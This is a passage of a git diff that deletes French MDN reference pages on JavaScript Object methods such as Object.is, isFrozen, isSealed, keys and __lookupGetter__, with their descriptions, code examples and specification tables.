Gèle un objet : un autre code ne peut ni détruire ni changer aucune propriété.
-
{{jsxref("Object.fromEntries()")}}
-
Renvoie un nouvel objet à partir d'un itérable contenant des paires de clés-valeurs (l'opération duale de {{jsxref("Object.entries")}}).
-
{{jsxref("Object.getOwnPropertyDescriptor()")}}
-
Retourne un descripteur de propriété pour une propriété nommée d'un objet.
-
{{jsxref("Object.getOwnPropertyDescriptors()")}}
-
Retourne un objet contenant tous les descripteurs des propriétés propres d'un objet.
-
{{jsxref("Object.getOwnPropertyNames()")}}
-
Retourne un tableau contenant les noms de toutes les propriétés énumérables et non énumérables propres de l'objet donné.
-
{{jsxref("Object.getOwnPropertySymbols()")}}
-
Retourne un tableau de toutes les propriétés symboles trouvées directement dans un objet donné.
-
{{jsxref("Object.getPrototypeOf()")}}
-
Retourne le prototype de l'objet indiqué.
-
{{jsxref("Object.is()")}}
-
Détermine si deux valeurs sont la même valeur. Considère comme égales toutes les valeurs NaN (ce qui diffère à la fois de la Comparaison d'Égalité Abstraite et de la Comparaison d'Égalité Stricte).
-
{{jsxref("Object.isExtensible()")}}
-
Détermine si l'extension d'un objet est permise.
-
{{jsxref("Object.isFrozen()")}}
-
Détermine si un objet a été gelé.
-
{{jsxref("Object.isSealed()")}}
-
Détermine si un objet est scellé.
-
{{jsxref("Object.keys()")}}
-
Retourne un tableau contenant les noms de toutes les propriétés énumérables propres de l'objet donné.
-
{{jsxref("Object.preventExtensions()")}}
-
Empêche toute extension de l'objet.
-
{{jsxref("Object.seal()")}}
-
Empêche un autre code de détruire les propriétés d'un objet.
-
{{jsxref("Object.setPrototypeOf()")}}
-
Définit le prototype d'un objet (c-à-d, la propriété interne [[Prototype]]).
-
{{jsxref("Object.values()")}}
-
Retourne le tableau des valeurs énumérables propres de l'objet donné dont les clés sont des chaînes de caractères.
-
- -

Instances d'Object et objet de prototype Object

- -

Tous les objets en JavaScript descendent d'Object ; tous les objets héritent des méthodes et des propriétés de {{jsxref("Object.prototype")}}, même si elles peuvent être surchargées. Par exemple, d'autres prototypes de constructeurs surchargent la propriété du constructor et fournissent leurs propres méthodes toString(). Les changements apportés à l'objet de prototype Object sont propagées à tous les objets, à moins que les propriétés et méthodes auxquelles s'appliquent ces changements ne soient surchargées plus loin dans la chaîne de prototypes.

- -

Propriétés

- -
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}
- -

Méthodes

- -
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}
- -

Suppression d'une propriété dans un objet

- -

Il n'y a aucune méthode dans un Object lui-même pour supprimer ses propres propriétés (par exemple, comme Map.prototype.delete()). Pour ce faire, il faut utiliser l'opérateur delete.

- -

Exemples

- -

Utilisation d'Object avec les types undefined et null

- -

Les exemples suivants stockent un Object vide dans o :

- -
var o = new Object();
-
- -
var o = new Object(undefined);
-
- -
var o = new Object(null);
-
- -

Utilisation d'Object pour créer des objets Boolean

- -

Les exemples suivants stockent des objets {{jsxref("Boolean")}} dans o :

- -
// Équivalent à : o = new Boolean(true);
-var o = new Object(true);
-
- -
// Équivalent à : o = new Boolean(false);
-var o = new Object(Boolean());
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2', 'Object')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object-objects', 'Object')}}{{Spec2('ES6')}}Ajout de Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is
{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}{{Spec2('ESDraft')}}Ajout de Object.entries, de Object.values et de Object.getOwnPropertyDescriptors.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/is/index.html b/files/fr/web/javascript/reference/objets_globaux/object/is/index.html deleted file mode 100644 index 6e909d1fdb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/is/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Object.is() -slug: Web/JavaScript/Reference/Objets_globaux/Object/is -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Object - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Object/is ---- -
{{JSRef}}
- -

La méthode Object.is() permet de déterminer si deux valeurs sont les mêmes.

- -

Syntaxe

- -
Object.is(value1, value2);
- -

Paramètres

- -
-
valeur1
-
La première valeur à comparer.
-
valeur2
-
La seconde valeur à comparer.
-
- -

Valeur de retour

- -

Un booléen indiquant si les arguments ont la même valeur.

- -

Description

- -

Object.is() permet de déterminer si deux valeurs sont identiques. Deux valeurs sont considérées identiques si :

- -
    -
  • elles sont toutes les deux {{jsxref("undefined")}}
    • -
  • elles sont toutes les deux {{jsxref("null")}}
    • -
  • elles sont toutes les deux true ou toutes les deux false
    • -
  • elles sont des chaînes de caractères de la même longueur et avec les mêmes caractères (dans le même ordre)
    • -
  • elles sont toutes les deux le même objet
    • -
  • elles sont des nombres et -
      -
    • sont toutes les deux égales à +0
      • -
    • sont toutes les deux égales à -0
      • -
    • sont toutes les deux égales à {{jsxref("NaN")}}
      • -
    • sont non-nulles, ne sont pas NaN et ont toutes les deux la même valeur
      • -
    -
    • -
- -

Attention, ce n'est pas la même égalité qu'avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}}. L'opérateur == applique différentes conversions à chaque opérande (si ils ne sont pas du même type) avant de tester l'égalité (d'où le comportement "" == false qui donne true), Object.is ne convertit aucune des deux valeurs.

- -

Cette égalité est également différente de l'égalité stricte qu'on peut avoir avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}. L'opérateur === (et également l'opérateur ==) considère que -0 et +0 sont égales et que {{jsxref("Number.NaN")}} n'est pas égal à {{jsxref("NaN")}}.

- -

Exemples

- -
Object.is("toto", "toto");     // true
-Object.is(window, window);     // true
-
-Object.is("toto", "truc");     // false
-Object.is([], []);             // false
-
-var toto = {a: 1};
-var truc = {a: 1};
-Object.is(toto, toto);          // true
-Object.is(toto, truc);          // false
-
-Object.is(null, null);          // true
-
-// Cas aux limites (cas spéciaux)
-Object.is(0, -0);                // false
-Object.is(-0, -0);               // true
-Object.is(NaN, 0/0);             // true
- -

Prothèse d'émulation (polyfill)

- -
if (!Object.is) {
-  Object.is = function(v1, v2) {
-    // Algorithme SameValue
-    if (v1 === v2) { //Étapes 1-5, 7-10
-      //Étapes 6.b-6.b +0 !=-0
-      return v1 !== 0 || 1 / v1 === 1 / v2;
-    } else {
-      //Étapes 6.a: NaN == NaN
-      return v1 !== v1 && v2 !== v2;
-    }
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.is', 'Object.is')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.is")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html deleted file mode 100644 index ae82dd912f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Object.isExtensible() -slug: Web/JavaScript/Reference/Objets_globaux/Object/isExtensible -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible ---- -
{{JSRef}}
- -

La méthode Object.isExtensible() permet de déterminer si un objet est extensible (c'est-à-dire qu'on peut lui ajouter de nouvelles propriétés).

- -
{{EmbedInteractiveExample("pages/js/object-isextensible.html")}}
- - - -

Syntaxe

- -
Object.isExtensible(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite vérifier s'il est extensible.
-
- -

Valeur de retour

- -

Un booléen qui indique si oui ou non l'objet passé en argument peut être étendu.

- -

Description

- -

Par défaut, les objets sont extensibles, on peut leur ajouter de nouvelles propriétés (et pour les moteurs qui supportent {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}}, leur propriété __proto__ peut être modifiée). Un objet peut devenir non-extensible en utilisant les méthodes {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}}, ou {{jsxref("Object.freeze()")}}.

- -

Exemples

- -
// Les nouveaux objets sont extensibles.
-var vide = {};
-Object.isExtensible(vide); // true
-
-// ...mais on peut les rendre non-extensibles.
-Object.preventExtensions(vide);
-Object.isExtensible(vide); // false
-
-// Les objets scellés sont, par définition, non-extensibles.
-var scellé = Object.seal({});
-Object.isExtensible(scellé); // false
-
-// Les objets gelés sont également, par définition, non-extensibles.
-var gelé = Object.freeze({});
-Object.isExtensible(gelé); // false
-
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire non-extensible, la méthode renverra false.

- -
Object.isExtensible(1);
-// TypeError: 1 n'est pas un objet (code ES5)
-
-Object.isExtensible(1);
-// false                           (code ES2015)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.isExtensible")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Object.seal()")}}
    • -
  • {{jsxref("Object.isSealed()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
  • {{jsxref("Object.isFrozen()")}}
    • -
  • {{jsxref("Reflect.isExtensible()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html deleted file mode 100644 index ceb8c242ef..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Object.isFrozen() -slug: Web/JavaScript/Reference/Objets_globaux/Object/isFrozen -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen ---- -
{{JSRef}}
- -

La méthode Object.isFrozen()permet de déterminer si un objet est {{jsxref("Object.freeze()", "gelé", "", 1)}}.

- -
{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}
- - - -

Syntaxe

- -
Object.isFrozen(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite vérifier s'il est gelé.
-
- -

Valeur de retour

- -

Un booléen qui indique si oui ou non l'objet passé en argument est gelé.

- -

Description

- -

Un objet est gelé si et seulement s'il n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}}, que toutes ses propriétés sont non-configurables et que ses propriétés de données (c'est-à-dire les propriétés qui ne sont pas des accesseurs ou des mutateurs) sont non-accessibles en écriture.

- -

Exemples

- -
// Un objet nouvellement créé est extensible
-// et est donc dégelé
-Object.isFrozen({}); // false
-
-// Un objet vide et non extensible est gelé
-var videGelé = Object.preventExtensions({});
-Object.isFrozen(videGelé); // true
-
-// Un nouvel objet avec une propriété est
-// extensible et donc dégelé
-var uneProp = { p: 42 };
-Object.isFrozen(uneProp); // false
-
-// Si on empêche d'étendre un objet non vide,
-// cela ne le rend pas gelé car la propriété
-// est toujours configurable (et accessible
-// en écriture)
-Object.preventExtensions(uneProp);
-Object.isFrozen(uneProp); // false
-
-// ...si on supprime la seule propriété existante
-// en revanche, on a bien un objet gelé
-delete uneProp.p;
-Object.isFrozen(uneProp); // true
-
-// Un objet non-extensible et avec une propriété
-// non-accessible en écriture mais toujours configurable
-// n'est pas gelé
-var nonWritable = { e: "plep" };
-Object.preventExtensions(nonWritable);
-
-Object.defineProperty(nonWritable, "e", { writable: false });
-// on la rend non accessible en écriture
-
-Object.isFrozen(nonWritable); // false
-
-// Si on rend la propriété non-configurable,
-// l'objet devient gelé
-
-Object.defineProperty(nonWritable, "e", { configurable: false });
-// on la rend non-configurable
-
-Object.isFrozen(nonWritable) === true);
-
-// Un objet non-extensible avec une propriété non-configurable
-// mais accessible en écriture n'est pas gelé
-var nonConfigurable = { release: "the kraken!" };
-Object.preventExtensions(nonConfigurable);
-Object.defineProperty(nonConfigurable, "release", { configurable: false });
-Object.isFrozen(nonConfigurable); // false
-
-// Si cette propriété devient non accessible
-// en écriture, l'objet est gelé
-Object.defineProperty(nonConfigurable, "release", { writable: false });
-Object.isFrozen(nonConfigurable); // true
-
-// Un objet non-extensible avec un accesseur
-// configurable n'est pas gelé
-var accesseur = { get manger() { return "miam"; } };
-Object.preventExtensions(accesseur);
-Object.isFrozen(accesseur); // false
-
-// ...si on rend la propriété non-configurable,
-// l'objet est gelé.
-Object.defineProperty(accesseur, "manger", { configurable: false });
-Object.isFrozen(accesseur); // true
-
-// La façon la plus simple est d'utiliser la
-// méthode Object.freeze
-var gelé = { 1: 81 };
-Object.isFrozen(gelé); // false
-Object.freeze(gelé);
-Object.isFrozen(gelé); // true
-
-// Par définition, un objet gelé est non-extensible.
-Object.isExtensible(gelé); // false
-
-// Par définition, un objet gelé est scellé.
-Object.isSealed(gelé); // true
-
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais est d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme s'il était un objet gelé et la méthode renverra true.

- -
Object.isFrozen(1);
-// TypeError: 1 n'est pas un objet (code ES5)
-
-Object.isFrozen(1);
-// true                            (code ES2015)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée par JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.isFrozen")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.freeze()")}}
    • -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Object.seal()")}}
    • -
  • {{jsxref("Object.isSealed()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html deleted file mode 100644 index 2777d794c2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Object.prototype.isPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Object/isPrototypeOf -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference - - isPrototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf ---- -
{{JSRef}}
- -

La méthode isPrototypeOf() permet de tester si un objet existe dans la chaîne de prototypes d'un autre objet.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-isprototypeof.html")}}
- - - -
-

Note : isPrototypeOf() est différent de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}}. Dans l'expression "object instanceof AFunction", on compare la chaîne de prototypes d'object avec AFunction.prototype et non avec AFunction.

-
- -

Syntaxe

- -
prototypeObj.isPrototypeOf(objet)
- -

Paramètres

- -
-
objet
-
L'objet dont la chaîne de prototypes sera parcourue.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean")}} indiquant si l'objet appelant se trouve dans sa chaîne de prototypes de l'objet indiqué.

- -

Erreurs déclenchées

- -
-
{{jsxref("TypeError")}}
-
Une exception {{jsxref("TypeError")}} est déclenchée si prototypeObj est undefined ou null.
-
- -

Description

- -

La méthode isPrototypeOf () vous permet de vérifier si un objet existe ou non dans la chaîne de prototypes d'un autre objet.

- -

Exemples

- -

Cet exemple montre que Bidule.prototype, Truc.prototype, Machin.prototype et Object.prototype font bien partie de la chaîne de prototype pour l'objet bidule :

- -
function Machin() {}
-function Truc() {}
-function Bidule() {}
-
-Truc.prototype = Object.create(Machin.prototype);
-Bidule.prototype = Object.create(Truc.prototype);
-
-var bidule = new Bidule();
-
-console.log(Bidule.prototype.isPrototypeOf(bidule)); // true
-console.log(Truc.prototype.isPrototypeOf(bidule)); // true
-console.log(Machin.prototype.isPrototypeOf(bidule)); // true
-console.log(Object.prototype.isPrototypeOf(bidule)); // true
-
- -

La méthode isPrototypeOf(), avec l'opérateur {{jsxref("Operators/instanceof", "instanceof")}} en particulier, s'avère particulièrement utile si vous avez du code qui ne peut fonctionner que lorsqu'il traite des objets descendant d'une chaîne de prototypes donnée, par ex., pour garantir que certaines méthodes ou propriétés seront présentes dans cet objet.

- -

Par exemple, vérifier que bidule descend bien de Machin.prototype :

- -
if (Toto.prototype.isPrototypeOf(bidule)) {
-  // effectuer quelque chose de sûr
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.isPrototypeOf")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
  • {{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html b/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html deleted file mode 100644 index 750efbf49f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Object.isSealed() -slug: Web/JavaScript/Reference/Objets_globaux/Object/isSealed -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed ---- -
{{JSRef}}
- -

La méthode Object.isSealed() permet de déterminer si un objet est scellé.

- -
{{EmbedInteractiveExample("pages/js/object-issealed.html")}}
- - - -

Syntaxe

- -
Object.isSealed(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite savoir s'il est scellé.
-
- -

Valeur de retour

- -

Un booléen indiquant si l'objet est scellé ou non.

- -

Description

- -

Renvoie true si l'objet est scellé, false sinon. Un objet scellé est un objet qui n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}} et dont toutes les propriétés sont non-configurables (on ne peut donc pas les retirer, en revanche on peut avoir un droit de modification).

- -

Exemples

- -
// Par défaut, les objets ne sont pas scellés
-var vide = {};
-Object.isSealed(vide); // false
-
-// Si un objet vide est rendu non-extensible,
-// il est scellé
-Object.preventExtensions(vide);
-Object.isSealed(vide); // true
-
-// Ce qui n'est pas vrai pour un objet non-vide,
-// sauf si toutes ses propriétés sont non-configurables
-var avecPropriétés = { pif: "paf pouf" };
-Object.preventExtensions(avecPropriétés);
-Object.isSealed(avecPropriétés); // false
-
-// Si on rend les propriétés non configurables,
-// l'objet est scellé
-Object.defineProperty(avecPropriétés, "pif", { configurable: false });
-Object.isSealed(avecPropriétés); // true
-
-// La méthode la plus simple est d'utiliser Object.seal.
-var scellé = {};
-Object.seal(scellé);
-Object.isSealed(scellé); // true
-
-// Un objet scellé est, par définition, non-extensible
-Object.isExtensible(scellé); // false
-
-// Un objet scellé peut être gelé mais ce n'est pas
-// nécessaire. gelé signifie que les propriétés ne
-// peuvent pas être modifiées
-Object.isFrozen(scellé); // true
-
-var s2 = Object.seal({ p: 3 });
-Object.isFrozen(s2); // false ("p" est toujours modifiable)
-
-var s3 = Object.seal({ get p() { return 0; } });
-// pour les accesseurs, seule l'accès en
-// configuration est important
-Object.isFrozen(s3); // true
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme si c'était un objet scellé et la méthode renverra true.

- -
Object.isSealed(1);
-// TypeError: 1 is not an object (ES5 code)
-
-Object.isSealed(1);
-// true                          (ES2015 code)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.isSealed")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.seal()")}}
    • -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
  • {{jsxref("Object.isFrozen()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html deleted file mode 100644 index 4cd9891d66..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Object.keys() -slug: Web/JavaScript/Reference/Objets_globaux/Object/keys -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys ---- -
{{JSRef}}
- -

La méthode Object.keys() renvoie un tableau contenant les noms des propriétés propres à un objet (qui ne sont pas héritées via la chaîne de prototypes) et qui sont énumérables. L'ordre de ce tableau est le même que celui obtenu par une boucle {{jsxref("Instructions/for...in","for...in")}} (à la différence qu'une boucle for-in liste également les propriétés héritées).

- -
{{EmbedInteractiveExample("pages/js/object-keys.html")}}
- - - -

Syntaxe

- -
Object.keys(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite lister les propriétés propres et énumérables.
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui sont les noms des propriétés énumérables de l'objet passé en argument.

- -

Description

- -

Object.keys() renvoie un tableau dont les éléments sont les chaînes de caractères des noms des propriétés propres et énumérables d'obj. L'ordre des propriétés obtenu est le même que celui obtenu lorsqu'on boucle manuellement sur les propriétés de l'objet.

- -

Exemples

- -
var arr = ["a", "b", "c"];
-console.log(Object.keys(arr));
-// affichera ['0', '1', '2']
-
-// un objet semblable à un tableau
-var obj = { 0 : "a", 1 : "b", 2 : "c"};
-console.log(Object.keys(obj));
-// affichera ['0', '1', '2']
-
-// un objet semblable à un tableau avec
-// un ordre de clé aléatoire
-var an_obj = { 100: "a", 2: "b", 7: "c"};
-console.log(Object.keys(an_obj));
-// affichera ['2', '7', '100']
-
-// getToto est une propriété non énumérable
-var monObjet = Object.create({}, {
-                                 getToto : {
-                                            value : function () {
-                                              return this.toto }
-                                           }
-                                  });
-monObjet.toto = 1;
-
-console.log(Object.keys(monObjet));
-// affichera ['toto']
-
- -

Si on souhaite lister toutes les propriétés, y compris celles qui ne sont pas énumérables, on pourra utiliser {{jsxref("Object.getOwnPropertyNames()")}}.

- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015 (ES6), un argument qui n'est pas un objet sera d'abord converti en objet.

- -
Object.keys("toto");
-// TypeError: "toto" n'est pas un objet (code ES5)
-
-Object.keys("toto");
-// ["0", "1", "2", "3"]                   (code ES2015)
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée avec JavaScript 1.8.5
{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-object.keys', 'Object.keys')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.keys")}}

-
- -

Voir aussi

- -
    -
  • Énumérabilité et possession des propriétés
    • -
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • -
  • {{jsxref("Object.create()")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Object.values()")}}
    • -
  • {{jsxref("Object.entries()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html deleted file mode 100644 index fcb6bc6f0b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Object.prototype.__lookupGetter__() -slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupGetter -tags: - - Déprécié - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__ ---- -
{{JSRef}} {{deprecated_header}}
- -

La méthode __lookupGetter__ renvoie la fonction liée comme accesseur d'une propriété donnée.

- -

Syntaxe

- -
obj.__lookupGetter__(sprop)
- -

Paramètres

- -
-
sprop
-
Une chaîne de caractères qui contient le nom de la propriété dont on souhaite obtenir l'accesseur (getter).
-
- -

Valeur de retour

- -

La fonction qui est l'accesseur lié à la propriété indiquée.

- -

Description

- -

Si un accesseur a été défini pour une propriété, il n'est pas possible d'obtenir la fonction utilisée en accédant à la propriété car on obtiendrait la valeur de retour de l'accesseur au lieu de l'accesseur lui-même. __lookupGetter__ permet de récupérer la valeur de la fonction pour l'accesseur.

- -

Cette méthode ne doit plus être utilisée et il est possible de la remplacer de façon standard en utilisant : {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}.

- -

Exemples

- -
var obj = {
-  get toto() {
-    return Math.random() > 0.5 ? 'toto' : 'truc';
-  }
-};
-
-
-// Méthode non-standard et dépréciée
-obj.__lookupGetter__('toto');
-// (function() { return Math.random() > 0.5 ? 'toto' : 'truc'; })
-
-
-// Méthode standard
-Object.getOwnPropertyDescriptor(obj, "toto").get;
-// (function() { return Math.random() > 0.5 ? 'toto' : 'truc'; })
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__lookupGetter__', 'Object.prototype.__lookupGetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.lookupGetter")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.lookupSetter","Object.prototype.__lookupSetter__()")}}
    • -
  • L'opérateur {{jsxref("Fonctions/get", "get")}}
    • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}
    • -
  • {{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}
    • -
  • Guide JavaScript : Définir des getters et setters
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html deleted file mode 100644 index 0c67d3c5f8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Object.prototype.__lookupSetter__() -slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupSetter -tags: - - Déprécié - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__ ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode __lookupSetter__ renvoie la fonction définie comme mutateur pour une propriété donnée.

- -

Syntaxe

- -
obj.__lookupSetter__(sprop)
- -

Paramètres

- -
-
sprop
-
